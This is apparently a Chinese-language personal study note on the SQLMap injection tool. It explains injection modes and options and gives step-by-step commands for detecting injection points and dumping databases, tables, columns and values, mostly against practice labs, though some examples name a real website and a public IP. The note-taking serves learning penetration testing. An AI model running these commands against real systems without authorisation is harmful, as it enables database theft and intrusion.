简介
- 概念
SQLMap 是一个开源的渗透测试工具,可以用来进行自动化检测,利用 SQL 注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。 - 支持数据库
Full support for MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, Informix, MariaDB, MemSQL, TiDB, CockroachDB, HSQLDB, H2, MonetDB, Apache Derby, Amazon Redshift, Vertica, Mckoi, Presto, Altibase, MimerSQL, CrateDB, Greenplum, Drizzle, Apache Ignite, Cubrid, InterSystems Cache, IRIS, eXtremeDB, FrontBase, Raima Database Manager, YugabyteDB and Virtuoso database management systems. - sqlmap 支持五种不同的注入模式:
1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用 union 的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。
sqlmap 支持功能
- 支持枚举用户、密码哈希、权限、角色、数据库、表和列。
- 自动识别密码哈希格式,并支持使用基于字典的攻击破解它们。
- 支持完全转储数据库表,根据用户的选择,一系列条目或特定列。用户还可以选择仅转储每列条目中的一系列字符。
- 支持搜索特定数据库名称、所有数据库中的特定表或所有数据库表中的特定列。例如,这对于识别包含自定义应用程序凭据的表非常有用,其中相关列的名称包含 name 和 pass 等字符串。
- 当数据库软件是 MySQL、PostgreSQL 或微软 SQL 服务器时,支持从数据库服务器底层文件系统下载和上载任何文件。
- 当数据库软件是 MySQL、PostgreSQL 或微软 SQL 服务器时,支持在数据库服务器底层操作系统上执行任意命令并检索其标准输出。
- 支持在攻击者计算机和底层操作系统的数据库服务器之间建立带外有状态 TCP 连接。此通道可以是交互式命令提示符、Meterpreter 会话或图形用户界面 (VNC) 会话,具体取决于用户的选择。
- 支持通过元浏览器的米普雷特命令升级数据库进程的用户权限。getsystem
安装
详见链接:https://blog.csdn.net/u013541325/article/details/109334272
相关命令了解
基本参数
–update: 更新
- h: 查看常用参数
- hh: 查看全部参数
–version: 查看版本
- v: 查看执行过程信息,v0-v6
-d : mysql 表示数据库类型、user:password 表示目标服务器的账号和密码,@后表示要连接的服务器,3306 表示端口,zakq_dababasename 表示连接的数据库名称
python sqlmap.py -d “mysql://root:root@192.168.126.128:3386/zkaq_databasename”
指定目标
- 使用参数 -u 或 –url 指定一个 URL 作为目标,该参数后跟一个表示 URL 的字符串,还可以指定端口,如:
sqlmap.py -u “www.baidu.com/user.php?id=7”
sqlmap.py -url “www.baidu.com:8080/user.php?id=7” - -m “C:\Users\32083\Desktop\url.txt”
url.txt 中存放需要扫描的网址 - python sqlmap.py -r “C:\Users\32083\Desktop\url.txt”
使用 Burp suite 抓包(post 提交!!!get 提交试过不行滴)将包内的信息拷贝到 url.txt 文件中 - -l log.txt —scope=” 正则表达式” ???没太明白
正则表达式:https://www.runoob.com/regexp/regexp-syntax.html - -c sqlmap.conf :使用配置文件进行扫描 (sqlmap.conf 与 sqlmap.py 在同一目录)???没太明白
- -u “URL” : 对于这种写法,加号扫描
python sqlmap.py -u “http://target_url/param1/value1/param2/value2“
配置目标参数
- -p: 指定要扫描的参数(get 型)
python sqlmap.py -u “http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=111&submit = 查询 "-p"name” - -skip: 排除指定的扫描参数
python sqlmap.py -u “http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=111&submit = 查询” -skip"submit" - -data: 指定扫描的参数,get/post 都适用
python sqlmap.py -u “http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=111&submit = 查询” -data"name" (get)
python sqlmap.py -u “http://localhost/sqli-labs-master/Less-11/” --data “uname=1&passwd=1&submit=Submit” (post) - –param-del:改变分隔符,默认是 &,因为有些网站不实用 & 传递多个数据。
python sqlmap.py -u “http://59.63.200.79:8003/?id=1&username=admin&password=123“ —date=”username=admin;password=123” —param-del=”;” - -cookie :使用 cookie 的身份认证
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -cookie=”security=low;PHPSESSID=121123131” - -drop-set-cookie: 有时候发起请求后,服务器端会重新 Set-cookie 给客户端,SQLmap 默认会使用新的 cookie,这时候可以设置此参数,表示还是用原来的 cookie。
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -cookie=”security=low;PHPSESSID=121123131 —-drop-set-cookie”
配置目标行为
- —time-sec: 基于时间的注入检测相应延迟时间,默认 5 秒
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —time-sec=”3” - -union-cols:默认联合查询 1-10 列,随 —level 增加,最多支持 100 列。
python sqlmap.py -u “http://localhost/sqli-labs-master/Less-1/?id=1” -union-cols 2-4 - -technique US : 指定检测注入时所用技术,默认情况下 Sqlmap 会使用自己支持的全部技术进行检测,有 B、E、U、S、T、Q
优化探测过程
- -level 2:检测 cookie 中是否含有注入;-level3:检测 user-agent、referer 是否含有注入;
-level5:检测 host 是否含有注入
python sqlmap.py -u “http://localhost/sqli-labs-master/Less-11/” --data “uname=1&passwd=1&submit=Submit” -level 3 (注意 level 和 3 分开写) - -risk 按照风险等级注入(网上说是 1-4,但是我跑 4 的时候报错了,告诉我是 1-3)
python sqlmap.py -u “http://127.0.0.1/sqli-labs-master/Less-2/?id=1” -risk 3
risk1: 大多数情况测试语句对页面没有影响
risk2: 增加了时间盲注
risk3: 增加了 or 语句的测试,这里值得注意的一点是当我注入语句是诸如 updata 等提权语句时,有可能会修改整个表的数据… - –predict-output: 根据检测方法,比对返回值和统计表 (.\sqlmap\data\txt\common-outputs.txt) 内容,不断缩小检测范围,提高检测效率.(比对信息包括但不限于版本名,用户名,密码,表名,列名… 等,与–threads 参数不兼容)
common-outputs.txt 中包含常见数据库的各种信息(数据库信息很多,说明要大量了解各种数据库的特点,根据不同数据库的规则 “搞事情”) - –null-connection 只获取相应页面的大小值,而非页面具体内容。通常用于盲注判断真 / 假,降低网络带宽消耗。与–text-only (基于页面内容的比较判断) 不兼容
???页面大小值可以判断盲注?(传多个参数值,出现两个不同大小值,可以通过控制正确与错误语句数的比例控制) 两者不同页面大小比) - -threads: 提高并发线程,默认为 1,建议不要超过 10,否则影响站点可用性,与 —predict-out 不兼容
个人想法:
1)对于时间盲注或者多网址注入这种情况,可以尝试一下这种方法。
2)多了解操作系统工作原理与机制可以提高扫描器扫描效率。
特定目标环境
- -dbms : 指定数据库类型
python sqlmap.py -u “http://localhost/sqli-labs-master/Less-2/?id=1” -dbms=“mysql” - 一般我们在测试注入的时候,比如布尔盲注会采取错误的值判断页面返回值。总之会需要用到错误的参数查看页面返回值,这时候 sqlmap 提供了 3 种方法(据我学习可知)。
–invalid-bignum:生成无效参数值时强制使用大数(如:id=99999999)
–invalid-logical:生成无效参数值时强制使用逻辑操作符(如:id=13 AND 18=19)
–invalid-string:生成无效参数值时强制使用字符串(如:id=akewmc) - 关闭字符串编码
–no-escape:有时 Sqlmap 会使用用单引号括起来的字符串值作为 payload,如 “SELECT ‘foobar’”,默认地这些值会被编码,如上例将被编码为:
“SELECT CHAR (102)+CHAR (111)+CHAR (111)+CHAR (98)+CHAR (97)+CHAR (114))”。这样做既可以混淆视听让人一时难以洞察 payload 的内容又可以在后台服务器使用类似 magic_quote 或 mysql_real_escape_string 这样的转义函数的情况下字符串不受影响。当然在某些情况下需要关闭字符串编码,如为了缩减 payload 长度,用户可以使用 “–no-escape” 来关闭字符串编码。
个人想法:在实际情况中会遇到大量各种各样的绕过,比如双写。部分编码等。掌握这些技巧需要刷题总结经验,不断试错(耐得住寂寞),总结各部分技巧。而且对 web 的运行机制也要熟悉,知道注入语句拦截具体地方,在大脑中抽象出” 路径图 “…
4. 指定闭合符号和后缀语句
- prefix:闭合符号
- prefix:添加后缀
话不多说,看例子:
源码:id 的闭合符号是’),其中 getid 函数是将其以字符串传入进去,可自行省略
query = “SELECT * FROM users WHERE id=(’” . $_GET [‘id’] . “’) LIMIT 0, 1”;
sqlmap 操作:将闭合符号设置为’),后缀设置为 AND (‘abc’=‘abc
python sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1” -p id --prefix "’)" --suffix “AND (‘abc’='abc”
最终 SQL 语句:
SELECT * FROM users WHERE id=(‘1’) AND (‘abc’=‘abc’) LIMIT 0, 1
5. -tamper:使用脚本,绕过 IPS (入侵防御系统)、WAF (Web 应用防火墙) 等
这个操作有点高级,还没学透,后续补充…
- 列库 dbs
在检测出了存在注入后,就要进行对数据库的列举,命令是 --dbs - 列表 tables
在列出了 Web 程序的库后,要根据这个库来列出表,命令是 -D ‘库名’ --tables - 列字段 columns
得到了库和表之后,可以根据这个库表来列出表里的字段进行数据的读取,命令是 -D ‘数据库名字’ -T ‘表的名字’ --columns
使用
- GET 型
- 检查注入点
sqlmap.py -u 网址 - 爆出所有数据库
sqlmap.py -u 网址 --current --dbs - 爆表
sqlmap.py -u 网址 -D 数据库名 --tables - 爆列
sqlmap.py -u 网址 -D 数据库名 -T 表名 --columns - 爆值
sqlmap.py -u 网址 -D 数据库名 -T 表名 -C 字段名 --dump
- POST 型
- 文件形式
以 pikachu 靶场第一关数字型注入 post 形式为例
- burpsuite 抓包保存至某个路径下
- 扫描注入类型
payload:python sqlmap.py -r “D:\post.txt” - 爆出所有数据库
python sqlmap.py -r “D:\post.txt”–dbs - 爆表
python sqlmap.py -r “D:\post.txt” -D 数据库名 --tables - 爆列
python sqlmap.py -r “D:\post.txt” -D 数据库名 -T 表名 --columns - 爆值
python sqlmap.py -r “D:\post.txt” -D 数据库名 -T 表名 -C 字段名 --dump
2)参数形式
以 pikachu 靶场第一关数字型注入 post 形式为例 - burpsuite 抓包查看参数
参数:id=1&submit=% E6%9F% A5% E8% AF% A2 - 扫描注入类型
payload:python sqlmap.py -u “http://127.0.0.1/pikachu/vul/sqli/sqli_id.php” --data “id=1&submit=%E6%9F%A5%E8%AF%A2” - 爆出所有数据库
python sqlmap.py -u “http://127.0.0.1/pikachu/vul/sqli/sqli_id.php” --data “id=1&submit=%E6%9F%A5%E8%AF%A2” --dbs - 爆表
python sqlmap.py -u “http://127.0.0.1/pikachu/vul/sqli/sqli_id.php” --data “id=1&submit=% E6%9F% A5% E8% AF% A2” -D 数据库名 --tables - 爆列
python sqlmap.py -u “http://127.0.0.1/pikachu/vul/sqli/sqli_id.php” --data “id=1&submit=% E6%9F% A5% E8% AF% A2” -D 数据库名 -T 表名 --columns - 爆值
python sqlmap.py -u “http://127.0.0.1/pikachu/vul/sqli/sqli_id.php” --data “id=1&submit=% E6%9F% A5% E8% AF% A2” -D 数据库名 -T 表名 -C 字段名 --dump
3)自动扫描自带常见表单
感觉类似于猜常见参数
payload:python sqlmap.py -u “http://127.0.0.1/pikachu/vul/sqli/sqli_id.php” --forms